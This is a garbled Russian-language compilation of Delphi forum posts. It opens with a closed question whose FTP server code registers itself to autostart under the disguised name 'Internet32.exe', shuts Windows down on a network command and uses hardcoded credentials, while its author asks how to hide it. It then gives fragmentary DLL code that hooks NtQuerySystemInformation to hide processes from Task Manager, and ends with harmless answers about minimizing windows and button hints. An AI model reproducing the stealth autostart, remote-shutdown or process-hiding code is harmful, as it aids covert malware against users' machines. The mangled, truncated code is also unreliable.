Закрыт. Этот вопрос не по теме. Ответы на него в данный момент не принимаются.
Вопросы с просьбами помочь с отладкой («почему этот код не работает?») должны включать желаемое поведение, конкретную проблему или ошибку и минимальный код для её воспроизведения прямо в вопросе. Вопросы без явного описания проблемы бесполезны для остальных посетителей. См. Как создать минимальный, самодостаточный и воспроизводимый пример.
Закрыт 7 лет назад .
Уважаемые эксперты. У меня такая проблема. Я написал свой (взял с книги) пример FTP клиент/сервер. Серверная часть запускается в виде режима DOS (консолью). Мне нужно, чтобы эта серверная часть не открывалась, а запускалась сразу в процессах.
Подскажите, как это сделать.
< $HDR$>/////////////////////// unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, Registry, IdFTPList, IdFTPServer, idTCPServer, IdSocketHandle, idGlobal, IdHashCRC; type TFTPServer = class(TForm) ServerSocket1: TServerSocket; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); private < Private declarations > < Private declarations >IdFTPServer: tIdFTPServer; procedure IdFTPServer1UserLogin(ASender: TIdFTPServerThread; const AUsername, APassword: string; var AAuthenticated: Boolean); procedure IdFTPServer1ListDirectory(ASender: TIdFTPServerThread; const APath: string; ADirectoryListing: TIdFTPListItems); procedure IdFTPServer1RenameFile(ASender: TIdFTPServerThread; const ARenameFromFile, ARenameToFile: string); procedure IdFTPServer1RetrieveFile(ASender: TIdFTPServerThread; const AFilename: string; var VStream: TStream); procedure IdFTPServer1StoreFile(ASender: TIdFTPServerThread; const AFilename: string; AAppend: Boolean; var VStream: TStream); procedure IdFTPServer1RemoveDirectory(ASender: TIdFTPServerThread; var VDirectory: string); procedure IdFTPServer1MakeDirectory(ASender: TIdFTPServerThread; var VDirectory: string); procedure IdFTPServer1GetFileSize(ASender: TIdFTPServerThread; const AFilename: string; var VFileSize: Int64); procedure IdFTPServer1DeleteFile(ASender: TIdFTPServerThread; const APathname: string); procedure IdFTPServer1ChangeDirectory(ASender: TIdFTPServerThread; var VDirectory: string); procedure IdFTPServer1CommandXCRC(ASender: TIdCommand); procedure IdFTPServer1DisConnect(AThread: TIdPeerThread); protected function TransLatePath(const APathname, homeDir: string): string; public constructor Create; reintroduce; destructor Destroy; override; end; var FTPServer: TFTPServer; implementation procedure TFTPServer.FormCreate(Sender: TObject); var regini:treginifile; begin regini:=treginifile.create(‘Software’); regini.rootkey:=hkey_local_machine; regini.openkey(‘Software’,true); regini.openkey(‘Microsoft’,true); regini.openkey(‘Windows’,true); regini.openkey(‘CurrentVersion’,true); regini.writestring(‘RunServices’,’Internet32.exe’,Application.exename); regini.free; ServerSocket1.active:=true; end; procedure TFTPServer.FormDestroy(Sender: TObject); var action:tcloseaction; begin serversocket1.active:=false; end; procedure TFTPServer.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var s:String; begin s:= Socket.ReceiveText; if s=’R’ then ExitWindowsEx(EWX_SHUTDOWN,0); end; /////////////////////////// constructor TFTPServer.Create; begin IdFTPServer:=tIdFTPServer.create(nil); IdFTPServer.DefaultPort:=21; IdFTPServer.AllowAnonymousLogin:=false; IdFTPServer.EmulateSystem:=ftpsUNIX; IdFTPServer.HelpReply.text:=’Help is not implemented’; IdFTPServer.OnChangeDirectory:=IdFTPServer1ChangeDirectory; IdFTPServer.OnChangeDirectory:=IdFTPServer1ChangeDirectory; IdFTPServer.OnGetFileSize:=IdFTPServer1GetFileSize; IdFTPServer.OnListDirectory:=IdFTPServer1ListDirectory; IdFTPServer.OnUserLogin:=IdFTPServer1UserLogin; IdFTPServer.OnRenameFile:=IdFTPServer1RenameFile; IdFTPServer.OnDeleteFile:=IdFTPServer1DeleteFile; IdFTPServer.OnRetrieveFile:=IdFTPServer1RetrieveFile; IdFTPServer.OnStoreFile:=IdFTPServer1StoreFile; IdFTPServer.OnMakeDirectory:=IdFTPServer1MakeDirectory; IdFTPServer.OnRemoveDirectory:=IdFTPServer1RemoveDirectory; IdFTPServer.Greeting.NumericCode:=220; IdFTPServer.OnDisconnect:=IdFTPServer1DisConnect; with IdFTPServer.CommandHandlers.add do begin Command:=’XCRC’; OnCommand:=IdFTPServer1CommandXCRC; end; IdFTPServer.Active:=true; end; function CalculateCRC(const path: string): string; var f: tfilestream; value: dword; IdHashCRC32: TIdHashCRC32; begin IdHashCRC32:=nil; f:=nil; try IdHashCRC32:=TIdHashCRC32.create; f:=TFileStream.create(path, fmOpenRead or fmShareDenyWrite); value:=IdHashCRC32.HashValue(f); result:=IntToHex(value, 8); finally f.free; IdHashCRC32.free; end; end; procedure TFTPServer.IdFTPServer1CommandXCRC(ASender: TIdCommand); // note, this is made up, and not defined in any rfc var s: string; begin with TIdFTPServerThread(ASender.Thread) do begin if Authenticated then begin try s:=ProcessPath(CurrentDir, ASender.UnparsedParams); s:=TransLatePath(s, TIdFTPServerThread(ASender.Thread).HomeDir); ASender.Reply.SetReply(213, CalculateCRC(s)); except ASender.Reply.SetReply(500, ‘File Error!’); end; end; end; end; destructor TFTPServer.Destroy; begin IdFTPServer.Free; inherited Destroy; end; function StartsWith(const str, substr: string): boolean; begin result:=Copy(str, 1, length(substr))=substr; end; function BackSlashToSlash(const str: string): string; var a: dword; begin result:=str; for a:=1 to length(result) do if result[a]=» then result[a]:=’/’; end; function SlashToBackSlash(const str: string): string; var a: dword; begin result:=str; for a:=1 to length(result) do if result[a]=’/’ then result[a]:=»; end; function TFTPServer.TransLatePath(const APathname, homeDir: string): string; var tmppath: string; begin result:=SlashToBackSlash(homeDir); tmppath:=SlashToBackSlash(APathname); if homedir = ‘/’ then begin result:=tmppath; Exit; end; if length(APathname)=0 then Exit; if result[length(result)]=» then result:=copy(result, 1, length(result)-1); if tmppath[1]<>» then result:=result+»; result:=result+tmppath; end; function GetSizeOfFile(const APathname: string): int64; begin result:=FileSizeByName(APathname); end; function GetNewDirectory(old, action: string): string; var a: integer; begin if action=’../’ then begin if old=’/’ then begin result:=old; Exit; end; a:=length(old)-1; while(old[a]<>») and (old[a]<>’/’) do dec(a) ; result:=copy(old, 1, a); Exit; end; if (action[1]=’/’) or (action[1]=») then result:=action else result:=old+action; end; procedure TFTPServer.IdFTPServer1UserLogin(ASender: TIdFTPServerThread; const AUsername, APassword: string; var AAuthenticated: Boolean); begin AAuthenticated:=(AUsername=’123′) and (APassword=’123′); if not AAuthenticated then Exit; ASender.HomeDir:=’/’; ASender.currentdir:=’/’; end; procedure TFTPServer.IdFTPServer1ListDirectory(ASender: TIdFTPServerThread; const APath: string; ADirectoryListing: TIdFTPListItems); procedure AddlistItem(aDirectoryListing: TIdFTPListItems; Filename: string; ItemType: TIdDirItemType; size: int64; date: tdatetime); var listitem: TIdFTPListItem; begin listitem:=aDirectoryListing.Add; listitem.ItemType:=ItemType; listitem.FileName:=Filename; listitem.OwnerName:=’123′; listitem.GroupName:=’all’; listitem.OwnerPermissions:=’—‘; listitem.GroupPermissions:=’—‘; listitem.UserPermissions:=’—‘; listitem.Size:=size; listitem.ModifiedDate:=date; end; var f: tsearchrec; a: integer; begin ADirectoryListing.DirectoryName:=apath; a:=FindFirst(TransLatePath(apath, ASender.HomeDir)+’*.*’, faAnyFile, f); while (a=0) do begin if (f.Attr and faDirectory> 0) then AddlistItem(ADirectoryListing, f.Name, ditDirectory, f.size, FileDateToDateTime(f.Time)) else AddlistItem(ADirectoryListing, f.Name, ditFile, f.size, FileDateToDateTime(f.Time)); a:=FindNext(f); end; FindClose(f); end; procedure TFTPServer.IdFTPServer1RenameFile( ASender: TIdFTPServerThread; const ARenameFromFile, ARenameToFile: string); begin if not MoveFile(pchar(TransLatePath(ARenameFromFile, ASender.HomeDir ) ) , pchar( TransLatePath( ARenameToFile, ASender.HomeDir))) then RaiseLastWin32Error; end; procedure TFTPServer.IdFTPServer1RetrieveFile(ASender: TIdFTPServerThread; const AFilename: string; var VStream: TStream); begin VStream:=TFileStream.create(translatepath(AFilename, ASender.HomeDir ) , fmopenread or fmShareDenyWrite); end; procedure TFTPServer.IdFTPServer1StoreFile(ASender: TIdFTPServerThread; const AFilename: string; AAppend: Boolean; var VStream: TStream); begin if FileExists(translatepath(AFilename, ASender.HomeDir)) and AAppend then begin VStream:=TFileStream.create(translatepath(AFilename, ASender.HomeDir), fmOpenWrite or fmShareExclusive); VStream.Seek(0,soFromEnd); end else VStream:=TFileStream.create(translatepath(AFilename, ASender.HomeDir), fmCreate or fmShareExclusive); end; procedure TFTPServer.IdFTPServer1RemoveDirectory(ASender: TIdFTPServerThread; var VDirectory: string); begin RmDir(TransLatePath(VDirectory, ASender.HomeDir)); end; procedure TFTPServer.IdFTPServer1MakeDirectory(ASender: TIdFTPServerThread; var VDirectory: string); begin MkDir(TransLatePath(VDirectory, ASender.HomeDir)); end; procedure TFTPServer.IdFTPServer1GetFileSize(ASender: TIdFTPServerThread; const AFilename: string; var VFileSize: Int64); begin VFileSize:=GetSizeOfFile(TransLatePath(AFilename, ASender.HomeDir)); end; procedure TFTPServer.IdFTPServer1DeleteFile(ASender: TIdFTPServerThread; const APathname: string); begin DeleteFile(pchar(TransLatePath(ASender.CurrentDir+’/’+APathname, ASender.HomeDir))); end; procedure TFTPServer.IdFTPServer1ChangeDirectory( ASender: TIdFTPServerThread; var VDirectory: string ) ; begin VDirectory:=GetNewDirectory(ASender.CurrentDir, VDirectory); end; procedure TFTPServer.IdFTPServer1DisConnect(AThread: TIdPeerThread); begin // nothing much here end; begin with TFTPServer.Create do try SetConsoleTitle(‘FTP Server running . ‘); writeln(‘Running, press [ Enter ] to terminate . ‘); readln; finally Free; end; ////////////////////////////// end.
Источник: ru.stackoverflow.com
Как скрыть программу [Delphi]
Как скрыть программу(игру) в панели управления,в «удалении программ»
Как спрятать программу от TaskManager
Этот вопрос меня уже достал, он задаётся на всех программистских форумах, поэтому я выкладываю solution. Листинг библиотеки (nthide.dll), которая будет выполнять нужную нам функцию:
type SYSTEM_INFORMATION_ CLASS = (
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var ulSize: ULONG;
pThunk: PDWORD; ppfn:PFARPROC;
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then exit;
while pImportDesc. Name <> 0 do
pszModName := PChar(hmodCaller + pImportDesc. Name );
if (lstrcmpiA(pszModName, pszCallerModName) = 0 ) then break;
if (pImportDesc. Name = 0 ) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^<> 0 do
fFound := (ppfn^ = pfnCurrent);
VirtualProtectEx(GetCurrentProcess,ppfn, 4 ,PAGE_EXECUTE_READWRITE,written);
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_ CLASS ; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall ;
label onceagain, getnextpidstruct, quit, fillzero;
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
mov esi, SystemInformation
cmp dword ptr [esi],0
var hSnapShot: THandle;
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle( ‘ntdll.dll’ ), ‘NtQuerySystemInformation’ );
if hSnapshot=INVALID_HANDLE_VALUE then exit;
until not Module32Next(hSnapShot,me32);
var hSnapShot: THandle;
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle( ‘ntdll.dll’ ), ‘NtQuerySystemInformation’ );
if hSnapshot=INVALID_HANDLE_VALUE then exit;
until not Module32Next(hSnapShot,me32);
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall ;
procedure InstallHook; stdcall ;
function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall ;
var addrMap: PDWORD;
hFirstMapHandle:=CreateFileMapping( $FFFFFFFF , nil ,PAGE_READWRITE, 0 , 8 , ‘NtHideFileMapping’ );
if hFirstMapHandle= 0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle, FILE _MAP_ WRITE , 0 , 0 , 8 );
if addrMap= nil then
procedure LibraryProc(Reason: Integer);
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
hmap:=OpenFileMapping( FILE _MAP_ READ ,false, ‘NtHideFileMapping’ );
if hmap= 0 then exit;
mapaddr:=MapViewOfFile(hmap, FILE _MAP_ READ , 0 , 0 , 0 );
if mapaddr= nil then exit;
if hideOnlyTaskMan^ then
GetModuleFileName(GetModuleHandle( nil ),fname,MAX_PATH+ 1 );
if not (ExtractFileName(fname)= ‘taskmgr.exe’ ) then exit;
Для её использования нужно вызвать функцию HideProcess:
function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL,
pid — идентификатор процесса, который нужно спрятать
HideOnlyFromTaskManager — нужно ли прятать процесс только от TaskManager’а, или же от остальных программ, использующих для получения списка процессов функцию NtQuerySystemInformation из ntdll.dll.
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall ; external ‘nthide.dll’ ;
HideProcess(GetCurrentProcessId, false); //это спрячет текущий процесс
Источник: delphi-hlp.ru
Delphi как спрятать программу
т.е. тебе не скрыть надо, а свернуть?
напиши application.Minimize;
| Как сделать подсказку? |
У кнопки:
1) свойство ShowHint установи в True
2) в свойстве hint напиши текст подсказки.
Просьба: литературу по активнее надо читать (книги, справочники), эти вопросы слишком простые, чтоб на них отвечать.
Пользователь
Регистрация: 14.12.2006
Сообщений: 20
У меня несколько вопросов:
1.Неполучается скрыть программу! Когда я ввожу hide; то программа скрывается полностью и открыть её или выключить можно только через Диспетчер задач. мне нужно что-бы она скрывалась в Панель инструментов!
2.Как сделать подсказку? (Пример: если мышку над кнопкой продержать несколько сек., то появляется подсказка).
1.
ShowWindows(Handle,SW_HIDE); //прячет форму.
ShowWindow(application.Handle,SW_HI DE); //убирает приложение с панели задач
program Project1;
uses
Forms, windows, //обязательно добавь модуль windows
Unit1 in ‘Unit1.pas’ ;
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false; // Запрещаем показ главной формы
ShowWindow(application.Handle,SW_HI DE); // Прячем приложение
Application.Run;
2. У button есть свойство Hint (подсказка)
Запиши в hint подсказку
Свойство ShowHint поставь true
button1.hint:=’Закрыть окно))’;
Button1.ShowHint:=true;
шолku : THuman;
Источник: www.programmersforum.ru